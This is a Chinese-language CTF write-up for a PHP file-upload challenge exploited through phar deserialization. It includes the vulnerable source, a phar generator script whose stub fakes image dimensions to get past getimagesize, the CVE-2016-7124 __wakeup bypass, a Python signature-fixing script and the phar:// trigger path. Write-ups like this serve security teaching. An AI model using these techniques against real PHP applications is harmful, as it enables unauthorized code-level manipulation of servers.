0%

一道phar题

一道phar题目

源码

<?php
class NSS{
public $pass=false;
public function __destruct(){
if($this->pass===true){
echo getenv("FLAG");
}else{
echo "no permission";
}
}
public function __wakeup(){
$this->pass = false;
}
}
session_start();
if(isset($_GET['filename'])){
echo file_get_contents($_GET['filename']);
}
else if(isset($_FILES['file']['name'])){
$whtie_list = array("jpg");
$ext = explode(".",$_FILES["file"]["name"]);
$ext = end($ext);
if(in_array($ext,$whtie_list)){
$img_info = @getimagesize($_FILES["file"]["tmp_name"]);
if($img_info){
if($img_info[0]<=20 && $img_info[1]<=20){
if(!is_dir("upload/".session_id()."/")){
mkdir("upload/".session_id()."/");
}
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(preg_match("/php/i",$content)){
die("hacker!!!");
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".session_id()."/".$_FILES["file"]["name"]);
echo "upload success!! upload/your_sessionid/your_filename";
}
}else{
die("image hight and width must less than 20");
}
}else{
die("invalid file head");
}
}else{
die("invalid file extension!jpg only!!");
}
}else{
echo "wellcome!<br>";
}

?>

一个文件上传题目,很明显就是phar反序列化了,需要注意的几个点吧

  • getimagesize 控制宽高
  • 内容不允许php
  • __wakeup()绕过
  • phar文件的签名计算

绕过

getimagesize

题目要求控制宽和高,也就是数组的前两个,上传的文件有这两个就行了

#define xlogo_width 20
#define xlogo_height 20

php字段

网上的生成phar文件的脚本都是

$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();

实际上,跟踪php源码之后发现格式是这样的 __HALT_COMPILER(); ?> 是必须的,剩下随意

xxx __HALT_COMPILER(); ?>

__wakeup()

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

O:6:"sercet":1: 也就是输入比1大的值就行  如O:6:"sercet":2:

签名计算

在生成phar文件时,会对文件进行签名计算,如果对文件内容进行更改(比如这题,需要更改属性个数),那么签名就会错误会显示

image-20220514181342030

所以需要重新计算签名

from hashlib import sha1

file = open("test.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时Sha1正确了。
open("new.jpg","wb").write(new_file)

解题

生成phar文件

<?php
class NSS{
public $pass=false;
public function __construct(){
$this->pass = true;
}
}
$a = new NSS();
echo serialize($a);

$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('#define xlogo_width 20'."\n".'#define xlogo_height 20'."\n".'__HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();

修改phar文件的序列化字符串

image-20220514181652751

运行py文件,产生重新计算签名的new.jpg,将其上传,利用查看文件处的 file_get__contents() 进行phar反序列化

phar://./upload/4kej0r03lvqb9o9n8t9pm9pm36/new.jpg

image-20220514181818147

[NSSCTF]prize1(phar+强制GC) (wolai.com)

[NCTF2019]phar matches everything(phar反序列化) | (guokeya.github.io)